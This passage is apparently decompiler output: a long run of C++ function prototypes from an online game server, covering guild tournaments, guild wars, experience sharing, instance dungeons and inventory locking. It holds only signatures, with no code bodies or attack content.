*_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::FlagInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); bool __thiscall GuildTournamentSystem::PortalResiter(GuildTournamentSystem *this, #593 *, unsigned int, const char *, const char *); void __thiscall GuildTournamentSystem::SendScorePacket::_SendScorePacket(GuildTournamentSystem::SendScorePacket *this); bool __thiscall GuildTournamentSystem::IsFlagCapture(GuildTournamentSystem *this, #593 *, unsigned __int16); bool __thiscall GuildTournamentSystem::IsUseGate(GuildTournamentSystem *this, #593 *, const unsigned __int16, const unsigned __int16); void __thiscall GuildTournamentSystem::ScanEnemyUser(GuildTournamentSystem *this, #593 *pObject); void __thiscall GuildTournamentSystem::InitFlagAbStateSetup(GuildTournamentSystem *this); void __thiscall GuildTournamentSystem::GuildGroup::EverythingGiveBuff(GuildTournamentSystem::GuildGroup *this, const char *BuffName, int nTime); #593 *__thiscall GuildTournamentSystem::GuildGroup::GetGuildMaster(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::CheckManagerUser(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::SetAdvan(GuildTournamentSystem::GuildGroup *this, GuildTournamentSystem::GuildGroup::Advantage *val); void __thiscall GuildTournamentSystem::GuildGroup::SetFlagMultiple(GuildTournamentSystem::GuildGroup *this, int val); bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoPlayer(GuildTournamentSystem::SendScorePacket *this, #593 *, int); bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoAllinMap(GuildTournamentSystem::SendScorePacket *this, #593 *, int); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::GuildMemberInfo *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TickTimer *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TOURNAMENT_PLAYER_SCORE *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert(...); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last); void __cdecl std::fill(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Val); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::FlagInfo *_First, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall GuildTournamentSystem::GuildMasterRevive(GuildTournamentSystem *this, #593 *pReviveObj); void __thiscall GuildTournamentSystem::ChangeAdvanRule(GuildTournamentSystem *this); void __thiscall GuildTournamentSystem::GuildGroup::GuildMasterBuffRun(GuildTournamentSystem::GuildGroup *this); #593 *__thiscall GuildTournamentSystem::GuildGroup::GetManagerUser(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::Update(GuildTournamentSystem::GuildGroup *this, int nTickDeltaTime); void __thiscall GuildTournamentSystem::GuildGroup::SendWinEventToScript(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::SendScorePacket::SendScorePacket(GuildTournamentSystem::SendScorePacket *this, GuildTournamentSystem::GuildGroup *pGroup); void __thiscall std::vector>::push_back(std::vector > *this, const unsigned __int16 *_Val); int *__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned int *_Keyval); void __thiscall std::vector>::push_back(std::vector > *this, TickTimer *_Val); void __thiscall std::vector>::push_back(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall std::vector>::push_back(std::vector > *this); GuildTournamentSystem::Gate *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::Gate *_Ptr, unsigned int _Count, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); GuildTournamentSystem::AdvanMobItemRegenInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last); void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this); void __cdecl GuildTournamentSystem::SetGuildMemberGrade(unsigned int regCharNumber, int nGrade); void __thiscall GuildTournamentSystem::DiceGameStart(GuildTournamentSystem *this, int nTick); void __thiscall GuildTournamentSystem::MakeGTItemTargets(GuildTournamentSystem *this, std::vector > *pVector, #593 *pSendObject, #593 *pObject, GTIServer *pServer); void __thiscall GuildTournamentSystem::GuildGroup::AddScore(GuildTournamentSystem::GuildGroup *this, int nScore); void __thiscall GuildTournamentSystem::GuildGroup::SetSkillPoint(GuildTournamentSystem::GuildGroup *this, unsigned int unCount); bool __thiscall GuildTournamentSystem::GuildGroup::UseGuildSkill(GuildTournamentSystem::GuildGroup *this, int nNumber, GuildTournamentSystem::GuildGroup *pEnemyGroup); void __thiscall GuildTournamentSystem::GuildGroup::SetTournamentType(GuildTournamentSystem::GuildGroup *this, int nType); bool __thiscall GuildTournamentSystem::GuildGroup::ChangeGateState(GuildTournamentSystem::GuildGroup *this, bool bUse, const unsigned __int16 hFlag); void __thiscall GuildTournamentSystem::GuildGroup::AddTeamNPC(GuildTournamentSystem::GuildGroup *this, unsigned __int16 Hnd); void __thiscall std::vector>::_vector>(std::vector > *this); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...); void __thiscall std::vector>::_Tidy(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); GuildTournamentSystem::FlagInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::FlagInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val); void __thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::operator__(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_vector>(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::FlagInfo *_Val); void __thiscall GuildTournamentSystem::GuildGroup::_GuildGroup(GuildTournamentSystem::GuildGroup *this); bool __thiscall GuildTournamentSystem::GateRegister(GuildTournamentSystem *this, #593 *, unsigned int, unsigned __int16, const char *); void __thiscall GuildTournamentSystem::DeadPlayer(GuildTournamentSystem *this, #593 *, #593 *); void __thiscall GuildTournamentSystem::Roution(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::PlayerRegister(GuildTournamentSystem *this, #593 *pObject); void __thiscall GuildTournamentSystem::SendMapInPlayerInfoToObserber(GuildTournamentSystem *this, #593 *pObject); bool __thiscall GuildTournamentSystem::PlayerUnRegister(GuildTournamentSystem *this, #593 *pObject); bool __thiscall GuildTournamentSystem::EndBattle(GuildTournamentSystem *this, tGuildTournamentResult *rGuildTournamentResult); void __thiscall GuildTournamentSystem::GuildGroup::Clear(GuildTournamentSystem::GuildGroup *this); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::FlagInfo *_Val); bool __thiscall GuildTournamentSystem::Clear(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::FlagRegister(GuildTournamentSystem *this, #593 *, const char *, const char *); void __thiscall GuildTournamentSystem::AddAdvanItemMonster(GuildTournamentSystem *this, GuildTournamentSystem::AdvanMobItemRegenInfo *Info, unsigned int GuildNumber); void __thiscall GuildTournamentSystem::GuildGroup::GuildGroup(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildTournamentSystem(GuildTournamentSystem *this); void *__thiscall GuildTournamentSystem::_scalar_deleting_destructor_(GuildTournamentSystem *this, unsigned int); void __thiscall GuildTournamentSystem::_GuildTournamentSystem(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::Initialize(GuildTournamentSystem *this, unsigned int AGuildNumber, unsigned int BGuildNumber, int nType, int nSeed); void __thiscall GuildWarManager::gwm_Clear(GuildWarManager *this); GuildWarElement *__thiscall GuildWarManager::gwm_IsEnemyGuild(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_WarStart(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_WarStop(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_EnemyCheck(GuildWarManager *this, char cjcresult, unsigned int a, unsigned int b); GuildWarElement *__thiscall GuildWarManager::gwm_GetGuildWarElement(GuildWarManager *this, unsigned int nGuildNo); int __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber_InAttack(void *this); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_PartyRegistNumber_InAttack(ShineObjectClass::ShineServant *this); int __thiscall ShineObjectClass::ShineObject::so_GetCharRegistNumber_ItemLooter(void *this); unsigned int __thiscall ShineObjectClass::ShineServant::so_GetCharRegistNumber_ItemLooter(ShineObjectClass::ShineServant *this); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_GetZoneHandle_ItemLooter(ShineObjectClass::ShineServant *this); int __thiscall HitMeList::Enemy::e_TimeCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd); void __thiscall LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(LevelHandicap4ExperienceDouble *this); long double __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_GroupBonusRate(GroupExpDistribute::NearFriendInformationSummary *this, int validpartynumber); void __thiscall List::_List(HitMeList::EnemyList *this); char __thiscall List::l_PopA(List *this, HitMeList::Enemy *ele); char __thiscall List::l_PopZ(List *this, HitMeList::Enemy *ele); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); char __thiscall ListMaximumSearch::lid_Call(ListMaximumSearch *this, HitMeList::Enemy *ele, unsigned __int16 handle); int __thiscall HitMeList::Enemy::e_ObjCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd, HitMeList::Enemy *key); void __thiscall ScanEnemy4ExpDist::ScanEnemy4ExpDist(ScanEnemy4ExpDist *this, List *lst, #593 *mob, MobInfoServer *or); void __thiscall ScanEnemy4ExpDist::_ScanEnemy4ExpDist(ScanEnemy4ExpDist *this); void __thiscall ScanEnemy4ExpDist::se4ed_FreeElement(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall ScanEnemy4ExpDist::se4ed_CheckParty(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall ScanEnemy4ExpDist::se4ed_CheckSoloing(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); long double __thiscall LevelHandicap4ExperienceDouble::lh4ed_Handicap(LevelHandicap4ExperienceDouble *this, unsigned __int16 plyparty, int levplayer, int levmob); void __thiscall ExperienceDistribute::ed_GiveExperience(ExperienceDistribute *this, #593 *, int); void __thiscall MaxExpGainAtGroup::megag_Load(MaxExpGainAtGroup *this); void __thiscall LevelHandicap4ExperienceDouble::lh4ed_Load(LevelHandicap4ExperienceDouble *this, OptionReader *or); void __thiscall PartyExperienceBonusDouble::pebd_Load(PartyExperienceBonusDouble *this, OptionReader *or); HitMeList::Enemy *__thiscall List::l_MaximumSearch(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *this, List *, unsigned __int16), unsigned __int16 *hnd); HitMeList::Enemy *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *this, List *, unsigned __int16, HitMeList::Enemy *), unsigned __int16 *hnd, HitMeList::Enemy *key); ShineObjectClass::ShineServant *__cdecl ShineDynamicCast(#593 *pObj); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall HitMeList::EnemyList::el_Store(HitMeList::EnemyList *this, #593 *, int); ShineMultiTypeHandle *__thiscall HitMeList::EnemyList::el_FindLooter(HitMeList::EnemyList *this, ShineMultiTypeHandle *result); void __thiscall HitMeList::EnemyList::el_ExpDistribute(HitMeList::EnemyList *this, #593 *, MobDataBox::MobDataBoxIndex *, unsigned __int16); char __thiscall ScanEnemy4ExpDist::lid_Call(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __cdecl HitMeList::hml_Load(Name4 *world); void __thiscall HitMeList::EnemyList::EnemyList(HitMeList::EnemyList *this); void __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_TopLevelFind(GroupExpDistribute::NearFriendInformationSummary *this); int __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_BonusCheck(GroupExpDistribute::NearFriendInformationSummary *this); unsigned int __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_ExpLimitCut(GroupExpDistribute::NearFriendInformationSummary *this); void __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_ExpBase(GroupExpDistribute::NearFriendInformationSummary *this, unsigned int soloexp); void __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_ExpBonus(GroupExpDistribute::NearFriendInformationSummary *this, unsigned int bonusexp); void __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_ExpDistribute(GroupExpDistribute::NearFriendInformationSummary *this, unsigned __int16 mobid, unsigned __int16 mobhandle); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GroupExpDistribute::NearFriendInformation *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, GroupExpDistribute::NearFriendInformation _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GroupExpDistribute::NearFriendInformation *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GroupExpDistribute::NearFriendInformation *_Val); int __thiscall ExperienceDistribute::ed_FindReidInfo(ExperienceDistribute *this, unsigned __int16 reidregnum, GroupExpDistribute::NearFriendInformationSummary *arg); int __thiscall ExperienceDistribute::ed_FindPartyInfo(ExperienceDistribute *this, unsigned __int16 partyregnum, GroupExpDistribute::NearFriendInformationSummary *arg); char __thiscall ExperienceDistribute::lid_Call(ExperienceDistribute *this, HitMeList::Enemy *ele, unsigned __int16 handle); signed int __cdecl std::basic_streambuf>::underflow(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromise_GetUpper(int this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall WorldManagerSession::wms_NC_HOLY_PROMISE_MY_UP_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_HOLY_PROMISE_MYUPPER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet(void *this, int upper); void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry(int cenuse); void __cdecl ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess(); void __thiscall HolyPromiseCenTransferManager::hpctm_Process(HolyPromiseCenTransferManager *this, PROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG *transfer); void __thiscall ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(void *this, int cen, int from); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_HOLY_PROMISE_DB_GET_CEN_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward(void *this, int pDBAck); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_HOLY_PROMISE_DB_WITHDRAW_CEN_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseWithdrawCenReward(void *this, int pDBAck); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom(void *this, int transfer); FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfo(FieldContainer *this, ORToken *Index); FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfoByMapName(FieldContainer *this, Name3 *pMapName); void __thiscall WorldManagerSession::wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_INSTANCE_DUNGEON_RESET_COUNTDOWN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall KickPlayer::_KickPlayer(KickPlayer *this); void __thiscall IsAnybody::_IsAnybody(IsAnybody *this); char __thiscall IsAnybody::ali_Work(IsAnybody *this, #593 *, #593 *, unsigned int); int __thiscall PROTO_NC_INSTANCE_DUNGEON_FIND_RNG::operator_(int this, int a2); bool __thiscall MapClusterManager::ClusterManager::AddInstanceDungeonCluster(MapClusterManager::ClusterManager *this, const char *ClientMapName, int Index); #1265 *__thiscall MapClusterManager::MapCluster::mc_FindEmptyByRegnum(MapClusterManager::MapCluster *this, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY cateroty); #1265 *__thiscall MapClusterManager::MapCluster::mc_FindExistByRegnum(MapClusterManager::MapCluster *this, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY cateroty); char __thiscall MapClusterManager::MapCluster::mc_ChangeCategory(MapClusterManager::MapCluster *this, unsigned int BeforeRegNum, INSTANCE_DUNGEON::CATEGORY BeforeCateroty, unsigned int AfterRegNum, INSTANCE_DUNGEON::CATEGORY AfterCateroty); char __thiscall KickPlayer::ali_Work(KickPlayer *this, #593 *, #593 *, unsigned int); void __thiscall FieldMap::fm_KickAll(void *this); char __thiscall FieldMap::fm_Exist(void *this, int Flag); void __thiscall ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall MapClusterManager::ClusterManager::cm_ChangeCategory(MapClusterManager::ClusterManager *this, unsigned int BeforeRegNum, INSTANCE_DUNGEON::CATEGORY BeforeCateroty, unsigned int AfterRegNum, INSTANCE_DUNGEON::CATEGORY AfterCateroty); char __thiscall FieldContainer::fc_Get_MID_MapInfo(FieldContainer *this, PROTO_NC_MID_GET_MAP_INFO_REQ *pReq); char __thiscall FieldContainer::fc_Set_MID_Map(FieldContainer *this, PROTO_NC_MID_MID_MAP_NAME_CMD *pCmd); void __thiscall WorldManagerSession::wms_NC_MID_MID_MAP_REWARD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MID_LINKTO_MID_OUT_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_SendMIDCharMapPosInfoCmd(int this); char __thiscall FindExistDungeon::lid_Call(FindExistDungeon *this, MapClusterManager::MapCluster *ele, unsigned __int16 handle); #1265 *__thiscall MapClusterManager::ClusterManager::cm_FindExistByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Category, unsigned __int16 *Err); void __thiscall MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(MapClusterManager::ClusterManager *this, INSTANCE_DUNGEON::CATEGORY Category, unsigned int RegisterNumber, bool playerCheck); void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, int Index, bool playerCheck); void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Cateroty, bool playerCheck); char __thiscall MapClusterManager::MapCluster::mc_Routine(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 handle); void __thiscall WorldManagerSession::wms_KickPlayerFromInstanceDungeon(WorldManagerSession *this, #593 *, unsigned int, INSTANCE_DUNGEON::CATEGORY); void __thiscall WorldManagerSession::wms_NC_MID_GET_MAP_INFO_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MID_MID_MAP_NAME_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MID_START_SCRIPT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MID_DESTROY_SCRIPT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); MapClusterManager::MapCluster *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(MapClusterManager::MapCluster *this, List *, unsigned __int16, MapClusterManager::MapCluster *), unsigned __int16 *hnd, MapClusterManager::MapCluster *key); char __thiscall DeleteDungeon::lid_Call(DeleteDungeon *this, MapClusterManager::MapCluster *ele, unsigned __int16 handle); #1265 *__thiscall MapClusterManager::ClusterManager::cm_FindEmptyByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Category); MapClusterManager::MapCluster *__thiscall MapClusterManager::ClusterManager::cm_FindMapCluster(MapClusterManager::ClusterManager *this, const char *clientmapname); char __thiscall MapClusterManager::ClusterManager::cm_PlayerinToInstanceDungeon(MapClusterManager::ClusterManager *this, Name3 *pInsMapName, FieldOption::InstanceDungeonInfo *Info, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Category); void __thiscall ZoneListenSession::zls_NC_INSTANCE_DUNGEON_FIND_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); int __thiscall HuntLog::MobHuntElement::mhe_Compare(ItemLotAnalyser::LotChanger *this, List *lst, unsigned __int16 hnd, ItemLotAnalyser::LotChanger *key); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(InventoryLocking::InvenCellReleaser_CenChange *this); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(InventoryLocking::InvenCellReleaser_FameChange *this); void __thiscall InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(InventoryLocking::InvenCellReleaser_CellClear *this); void __thiscall InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(InventoryLocking::InvenCellReleaser_CellChange *this); void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(InventoryLocking::InvenCellReleaser_CellChangeSmall *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(InventoryLocking::InvenCellReleaser_GuildStorageClear *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(InventoryLocking::InvenCellReleaser_GuildStorageChange *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(InventoryLocking::InvenCellReleaser_FurnitureReloc *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this); void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(InventoryLocking::InvenCellReleaser_EquipLocation *this); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_ItemUse *this); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(InventoryLocking::InvenCellReleaser_PointStone *this); void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(InventoryLocking::InvenCellReleaser_QuestReward *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::lc_Free(InventoryLocking::InvenCellReleaser_FurnitureReloc *this, #593 *shine); void __thiscall InventoryLocking::InventoryCellLock::InventoryCellLock(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::InventoryCellLock::_InventoryCellLock(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItemSimple(InventoryLocking::InventoryCellLockList *this, ItemBoxIterator *pBoxIterraotr); void __thiscall InventoryLocking::InventoryCellLockList::icll_SetObject(InventoryLocking::InventoryCellLockList *this, #734 *sp); void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(InventoryLocking::InvenCellReleaser_LinkInfo *this); void __thiscall InventoryLocking::InventoryCellLock::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLock *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo); void __thiscall InventoryLocking::InvenCellReleaser_CoinChange::InvenCellReleaser_CoinChange(InventoryLocking::InvenCellReleaser_CoinChange *this); char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Home(InventoryLocking::UnlockedInventoryIterator *this); char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next_OnlyCellLock(InventoryLocking::UnlockedInventoryIterator *this); char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next(InventoryLocking::UnlockedInventoryIterator *this); char __thiscall List::l_PushZ(List *this, InventoryLocking::LockedCell *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, 